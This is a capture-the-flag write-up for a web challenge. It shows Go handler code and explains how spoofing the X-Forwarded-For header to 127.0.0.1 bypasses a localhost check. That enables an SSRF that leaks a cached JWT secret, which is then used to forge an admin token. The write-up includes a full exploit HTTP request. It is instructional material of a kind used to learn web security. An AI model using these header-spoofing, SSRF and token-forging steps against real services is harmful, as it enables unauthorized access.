Rin or Sakura?
http://chals.ctf.sg:40201
author: Gladiator
Authentication Logic
The end-goal, of course, is to get to /flag, but there is a role attribute in the JWT token that we must change to admin in order to pass the IsAdmin check.
The JWT key is then used to sign the token when we log in.
funcloginHandler(w http.ResponseWriter, r *http.Request) { config.SetupResponse(&w, r)var login data.UserAccount err := json.NewDecoder(r.Body).Decode(&login)if err !=nil { http.Error(w, err.Error(), http.StatusBadRequest)return } state, jwtKet := logic.Login(login)if state ==false { http.Error(w, "Account does not exists, or account credentials are wrong", http.StatusBadRequest)return } token, _ := config.CreateToken(login.Username, jwtKet) fmt.Fprint(w, "Account logged in, your token is: "+token)}
What's interesting, though, is that there is a caching mechanism that stores each user's JWT key in a Redis cache after logging in. Presumably, in real-world applications such a caching mechanism would save time in performing database lookups each time JWT authentication occurs.
However, we could see in the cache-fetching mechanism that the client URL is validated to be 127.0.0.1.
funcIsLocal(ip string) bool {return ip =="127.0.0.1"}
funcCacheHelper(r *http.Request) string { ip, _ := remoteaddr.Parse().IP(r)if!config.IsLocal(ip) {return"I get older but your lovers stay my age." } result, err := cache.Get(r.URL.Query().Get("key"))if err !=nil {return"" }return result}
That leaves us with /rin. The handler logic presents us with the all-too-familiar SSRF code:
funcHeavensFeel(r *http.Request) http.Response { val := config.Process(r)if val =="" {returnhttp.Response{Status: "500 Internal Server Error", StatusCode: 500, Body: nil} } resp, err := http.Get(val)if err !=nil {returnhttp.Response{Status: "500 Internal Server Error", StatusCode: 500, Body: nil} }return*resp}
Again, the client IP is checked. But this time, the logic is slightly different. Instead of using remoteaddr.Parse().IP(r), the server is directly looking at the X-Forwarded-For header!
var local string="X-Forwarded-For"...funcGetIP(r *http.Request) string {return r.Header.Get(local)}...funcProcess(r *http.Request) string {if IsLocal(GetIP(r)) {return r.URL.Query().Get("url") }return""}
By adding X-Forwarded-For: 127.0.0.1, we can access this function and perform an SSRF to the /sakura endpoint.
POST /rin?url=http://localhost:8081/sakura?key=socengexp HTTP/1.1Host:chals.ctf.sg:40201Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE2NDcyNDI0NDIsInJvbGUiOiJ1c2VyIiwidXNlcm5hbWUiOiJzb2NlbmdleHAifQ.Y56UmyxoibdVHxvFjN03GI_RXeIgVBl76pQZDmih6Mo
X-Forwarded-For:127.0.0.1
As mentioned earlier, the cached secret only exists for 2 seconds after logging in, so we must make the above request right after logging in.
Gaining the Admin Role
When we have the JWT secret, we could essentially craft any JWT attributes we want.
Using https://jwt.io/ (or any JWT-signing library), supply the JWT secret and change the role to admin. We now have a new JWT token with an admin role.
Using this new JWT token, simply make a request to /flag to get the flag!